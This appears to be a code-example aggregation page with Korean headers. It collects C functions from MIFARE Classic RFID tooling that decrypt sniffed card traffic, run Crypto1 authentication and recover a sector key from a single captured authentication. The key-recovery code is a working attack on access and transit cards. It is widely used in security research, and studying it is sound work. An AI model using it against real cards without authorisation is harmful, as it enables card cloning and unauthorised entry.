예제 #1
0
int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len){
	/*
	uint32_t nt;      // tag challenge
	uint32_t nr_enc;  // encrypted reader challenge
	uint32_t ar_enc;  // encrypted reader response
	uint32_t at_enc;  // encrypted tag response
	*/

	struct Crypto1State *pcs = NULL;
	
	ks2 = ar_enc ^ prng_successor(nt, 64);
	ks3 = at_enc ^ prng_successor(nt, 96);
	
	PrintAndLog("Decrypting data with:");
	PrintAndLog("      nt: %08x",nt);
	PrintAndLog("  ar_enc: %08x",ar_enc);
	PrintAndLog("  at_enc: %08x",at_enc);
	PrintAndLog("\nEncrypted data: [%s]", sprint_hex(data,len) );

	pcs = lfsr_recovery64(ks2, ks3);
	mf_crypto1_decrypt(pcs, data, len, FALSE);
	PrintAndLog("Decrypted data: [%s]", sprint_hex(data,len) );
	crypto1_destroy(pcs);
	return 0;
}
예제 #2
0
int mfTraceInit(uint8_t *tuid, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFile) {

	if (traceCrypto1) 
		crypto1_destroy(traceCrypto1);

	traceCrypto1 = NULL;

	if (wantSaveToEmlFile) 
		loadTraceCard(tuid);
		
	traceCard[4] = traceCard[0] ^ traceCard[1] ^ traceCard[2] ^ traceCard[3];
	traceCard[5] = sak;
	memcpy(&traceCard[6], atqa, 2);
	traceCurBlock = 0;
	uid = bytes_to_num(tuid + 3, 4);
	
	traceState = TRACE_IDLE;

	return 0;
}
예제 #3
0
int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested, uint32_t *ntptr, uint32_t *timing) 
{
	// variables
	int len;	
	uint32_t pos;
	uint8_t tmp4[4];
	uint8_t par[1] = {0};
	byte_t nr[4];
	uint32_t nt, ntpp; // Supplied tag nonce
	
	uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
	uint8_t *receivedAnswer = get_bigbufptr_recvrespbuf();
	uint8_t *receivedAnswerPar = receivedAnswer + MAX_FRAME_SIZE;
	
	// Transmit MIFARE_CLASSIC_AUTH
	len = mifare_sendcmd_short(pcs, isNested, 0x60 + (keyType & 0x01), blockNo, receivedAnswer, receivedAnswerPar, timing);
	if (MF_DBGLEVEL >= 4)	Dbprintf("rand tag nonce len: %x", len);  
	if (len != 4) return 1;
	
	// "random" reader nonce:
	nr[0] = 0x55;
	nr[1] = 0x41;
	nr[2] = 0x49;
	nr[3] = 0x92; 
	
	// Save the tag nonce (nt)
	nt = bytes_to_num(receivedAnswer, 4);

	//  ----------------------------- crypto1 create
	if (isNested)
		crypto1_destroy(pcs);

	// Init cipher with key
	crypto1_create(pcs, ui64Key);

	if (isNested == AUTH_NESTED) {
		// decrypt nt with help of new key 
		nt = crypto1_word(pcs, nt ^ uid, 1) ^ nt;
	} else {
		// Load (plain) uid^nt into the cipher
		crypto1_word(pcs, nt ^ uid, 0);
	}

	// some statistic
	if (!ntptr && (MF_DBGLEVEL >= 3))
		Dbprintf("auth uid: %08x nt: %08x", uid, nt);  
	
	// save Nt
	if (ntptr)
		*ntptr = nt;

		
	// Generate (encrypted) nr+parity by loading it into the cipher (Nr)
	par[0] = 0;
	for (pos = 0; pos < 4; pos++)
	{
		mf_nr_ar[pos] = crypto1_byte(pcs, nr[pos], 0) ^ nr[pos];
		par[0] |= (((filter(pcs->odd) ^ oddparity(nr[pos])) & 0x01) << (7-pos));
	}	
		
	// Skip 32 bits in pseudo random generator
	nt = prng_successor(nt,32);

	//  ar+parity
	for (pos = 4; pos < 8; pos++)
	{
		nt = prng_successor(nt,8);
		mf_nr_ar[pos] = crypto1_byte(pcs,0x00,0) ^ (nt & 0xff);
		par[0] |= (((filter(pcs->odd) ^ oddparity(nt & 0xff)) & 0x01) << (7-pos));
	}	
		
	// Transmit reader nonce and reader answer
	ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);

	// Receive 4 byte tag answer
	len = ReaderReceive(receivedAnswer, receivedAnswerPar);
	if (!len)
	{
		if (MF_DBGLEVEL >= 1)	Dbprintf("Authentication failed. Card timeout.");
		return 2;
	}
	
	memcpy(tmp4, receivedAnswer, 4);
	ntpp = prng_successor(nt, 32) ^ crypto1_word(pcs, 0,0);
	
	if (ntpp != bytes_to_num(tmp4, 4)) {
		if (MF_DBGLEVEL >= 1)	Dbprintf("Authentication failed. Error card response.");
		return 3;
	}

	return 0;
}
예제 #4
0
int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
	uint8_t data[64];

	if (traceState == TRACE_ERROR) return 1;
	if (len > 64) {
		traceState = TRACE_ERROR;
		return 1;
	}
	
	memcpy(data, data_src, len);
	if ((traceCrypto1) && ((traceState == TRACE_IDLE) || (traceState > TRACE_AUTH_OK))) {
		mf_crypto1_decrypt(traceCrypto1, data, len, 0);
		PrintAndLog("dec> %s", sprint_hex(data, len));
		AddLogHex(logHexFileName, "dec> ", data, len); 
	}
	
	switch (traceState) {
	case TRACE_IDLE: 
		// check packet crc16!
		if ((len >= 4) && (!CheckCrc14443(CRC_14443_A, data, len))) {
			PrintAndLog("dec> CRC ERROR!!!");
			AddLogLine(logHexFileName, "dec> ", "CRC ERROR!!!"); 
			traceState = TRACE_ERROR;  // do not decrypt the next commands
			return 1;
		}
		
		// AUTHENTICATION
		if ((len == 4) && ((data[0] == 0x60) || (data[0] == 0x61))) {
			traceState = TRACE_AUTH1;
			traceCurBlock = data[1];
			traceCurKey = data[0] == 60 ? 1:0;
			return 0;
		}

		// READ
		if ((len ==4) && ((data[0] == 0x30))) {
			traceState = TRACE_READ_DATA;
			traceCurBlock = data[1];
			return 0;
		}

		// WRITE
		if ((len ==4) && ((data[0] == 0xA0))) {
			traceState = TRACE_WRITE_OK;
			traceCurBlock = data[1];
			return 0;
		}

		// HALT
		if ((len ==4) && ((data[0] == 0x50) && (data[1] == 0x00))) {
			traceState = TRACE_ERROR;  // do not decrypt the next commands
			return 0;
		}
		
		return 0;
	break;
	
	case TRACE_READ_DATA: 
		if (len == 18) {
			traceState = TRACE_IDLE;

			if (isBlockTrailer(traceCurBlock)) {
				memcpy(traceCard + traceCurBlock * 16 + 6, data + 6, 4);
			} else {
				memcpy(traceCard + traceCurBlock * 16, data, 16);
			}
			if (wantSaveToEmlFile) saveTraceCard();
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
	break;

	case TRACE_WRITE_OK: 
		if ((len == 1) && (data[0] == 0x0a)) {
			traceState = TRACE_WRITE_DATA;

			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
	break;

	case TRACE_WRITE_DATA: 
		if (len == 18) {
			traceState = TRACE_IDLE;

			memcpy(traceCard + traceCurBlock * 16, data, 16);
			if (wantSaveToEmlFile) saveTraceCard();
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
	break;

	case TRACE_AUTH1: 
		if (len == 4) {
			traceState = TRACE_AUTH2;
			nt = bytes_to_num(data, 4);
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
	break;

	case TRACE_AUTH2: 
		if (len == 8) {
			traceState = TRACE_AUTH_OK;

			nr_enc = bytes_to_num(data, 4);
			ar_enc = bytes_to_num(data + 4, 4);
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
	break;

	case TRACE_AUTH_OK: 
		if (len ==4) {
			traceState = TRACE_IDLE;

			at_enc = bytes_to_num(data, 4);
			
			//  decode key here)
			ks2 = ar_enc ^ prng_successor(nt, 64);
			ks3 = at_enc ^ prng_successor(nt, 96);
			revstate = lfsr_recovery64(ks2, ks3);
			lfsr_rollback_word(revstate, 0, 0);
			lfsr_rollback_word(revstate, 0, 0);
			lfsr_rollback_word(revstate, nr_enc, 1);
			lfsr_rollback_word(revstate, uid ^ nt, 0);

			crypto1_get_lfsr(revstate, &key);
			printf("Key: %012"llx"\n",key);
			AddLogUint64(logHexFileName, "key: ", key); 
			
			int blockShift = ((traceCurBlock & 0xFC) + 3) * 16;
			if (isBlockEmpty((traceCurBlock & 0xFC) + 3)) memcpy(traceCard + blockShift + 6, trailerAccessBytes, 4);
			
			if (traceCurKey) {
				num_to_bytes(key, 6, traceCard + blockShift + 10);
			} else {
				num_to_bytes(key, 6, traceCard + blockShift);
			}
			if (wantSaveToEmlFile) saveTraceCard();

			if (traceCrypto1) {
				crypto1_destroy(traceCrypto1);
			}
			
			// set cryptosystem state
			traceCrypto1 = lfsr_recovery64(ks2, ks3);
			
//	nt = crypto1_word(traceCrypto1, nt ^ uid, 1) ^ nt;

	/*	traceCrypto1 = crypto1_create(key); // key in lfsr
		crypto1_word(traceCrypto1, nt ^ uid, 0);
		crypto1_word(traceCrypto1, ar, 1);
		crypto1_word(traceCrypto1, 0, 0);
		crypto1_word(traceCrypto1, 0, 0);*/
	
			return 0;
		} else {
			traceState = TRACE_ERROR;
			return 1;
		}
	break;

	default: 
		traceState = TRACE_ERROR;
		return 1;
	}

	return 0;
}
예제 #5
0
int main (int argc, char *argv[]) {
  struct Crypto1State *revstate;
  uint64_t key;     // recovered key
  uint32_t uid;     // serial number
  uint32_t nt;      // tag challenge
  uint32_t nr_enc;  // encrypted reader challenge
  uint32_t ar_enc;  // encrypted reader response
  uint32_t at_enc;  // encrypted tag response
  uint32_t ks2;     // keystream used to encrypt reader response
  uint32_t ks3;     // keystream used to encrypt tag response

  printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
  printf("Recover key from only one complete authentication!\n\n");

  if (argc < 6 ) {
    printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}> [enc] [enc...]\n\n", argv[0]);
    return 1;
  }

  int encc = argc - 6;
  int enclen[encc];
  uint8_t enc[encc][120]; 

  sscanf(argv[1], "%x", &uid);
  sscanf(argv[2], "%x", &nt);
  sscanf(argv[3], "%x", &nr_enc);
  sscanf(argv[4], "%x", &ar_enc);
  sscanf(argv[5], "%x", &at_enc);
  for (int i = 0; i < encc; i++) {
    enclen[i] = strlen(argv[i + 6]) / 2;
    for (int i2 = 0; i2 < enclen[i]; i2++) {
      sscanf(argv[i+6] + i2*2,"%2x", (uint8_t*)&enc[i][i2]);
    }
  }
  printf("Recovering key for:\n");

  printf("  uid: %08x\n", uid);
  printf("   nt: %08x\n", nt);
  printf(" {nr}: %08x\n", nr_enc);
  printf(" {ar}: %08x\n", ar_enc);
  printf(" {at}: %08x\n", at_enc);
  for (int i = 0; i < encc; i++) {
      printf("{enc%d}: ", i);
      for (int i2 = 0; i2 < enclen[i]; i2++) {
          printf("%02x", enc[i][i2]);
      }
      printf("\n");
  }


  /*  
  uint32_t uid                = 0x9c599b32;
  uint32_t tag_challenge      = 0x82a4166c;
  uint32_t nr_enc             = 0xa1e458ce;
  uint32_t reader_response    = 0x6eea41e0;
  uint32_t tag_response       = 0x5cadf439;
*/
  // Generate lfsr succesors of the tag challenge
  printf("\nLFSR succesors of the tag challenge:\n");
  printf("  nt': %08x\n",prng_successor(nt, 64));
  printf(" nt'': %08x\n",prng_successor(nt, 96));

  // Extract the keystream from the messages
  printf("\nKeystream used to generate {ar} and {at}:\n");
  ks2 = ar_enc ^ prng_successor(nt, 64);
  ks3 = at_enc ^ prng_successor(nt, 96);
  printf("  ks2: %08x\n",ks2);
  printf("  ks3: %08x\n",ks3);

  revstate = lfsr_recovery64(ks2, ks3);

  // Decrypting communication using keystream if presented
  if (argc > 6 ) {
  printf("\nDecrypted communication:\n");
  uint8_t ks4; 
  int rollb = 0;
  for (int i = 0; i < encc; i++) {
    printf("{dec%d}: ", i);
    for (int i2 = 0; i2 < enclen[i]; i2++) {  
      ks4 = crypto1_byte(revstate, 0, 0);
      printf("%02x", ks4 ^ enc[i][i2]);
      rollb += 1;
    }
    printf("\n");
  }
  for (int i = 0; i < rollb; i++) {
    lfsr_rollback_byte(revstate, 0, 0);
    }
  }
  
  lfsr_rollback_word(revstate, 0, 0);
  lfsr_rollback_word(revstate, 0, 0);
  lfsr_rollback_word(revstate, nr_enc, 1);
  lfsr_rollback_word(revstate, uid ^ nt, 0);
  crypto1_get_lfsr(revstate, &key);
  printf("\nFound Key: [%012"llx"]\n\n",key);
  crypto1_destroy(revstate);

  return 0;
}